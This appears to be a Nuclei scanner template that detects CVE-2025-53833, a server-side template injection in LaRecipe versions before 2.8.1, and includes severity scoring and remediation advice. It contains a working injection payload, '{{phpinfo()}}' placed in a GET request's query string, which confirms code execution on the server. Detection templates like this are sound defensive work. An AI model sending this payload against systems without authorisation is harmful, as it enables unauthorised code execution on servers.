id: CVE-2025-53833

info:
  name: LaRecipe < 2.8.1 Remote Code Execution via SSTI
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.
  impact: |
    Attackers could execute arbitrary commands on the server, access sensitive environment variables, and/or escalate access depending on server configuration.
  remediation: |
    Users are strongly advised to upgrade to version v2.8.1 or later to receive a patch.
  reference:
    - https://github.com/saleem-hadad/larecipe/security/advisories/GHSA-jv7x-xhv2-p5v2
    - https://github.com/advisories/GHSA-jv7x-xhv2-p5v2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53833
  classification:
    epss-score: 0.09357
    epss-percentile: 0.94886
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2025-53833
    cwe-id: CWE-1336
    cpe: cpe:2.3:a:binarytorch:larecipe:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: binarytorch
    product: larecipe
    fofa-query: body="/binarytorch/larecipe/"
  tags: cve,cve2025,larecipe,rce,ssti,oss,vkev,vuln

http:
  - raw:
      - |
        GET /docs/1.0/?{{phpinfo()}} HTTP/1.1
        Host: {{Hostname}}

    skip-variables-check: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
          - "larecipe"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206586a219a940ed35306db4661f15ba2d6cde2844df17267be0da1f2d06c50704022100a7570a5cf8ecd0d46935d99f58eb3d44e38eb213fffa6480e3e0f70eb006e818:922c64590222798bb761d5b6d8e72950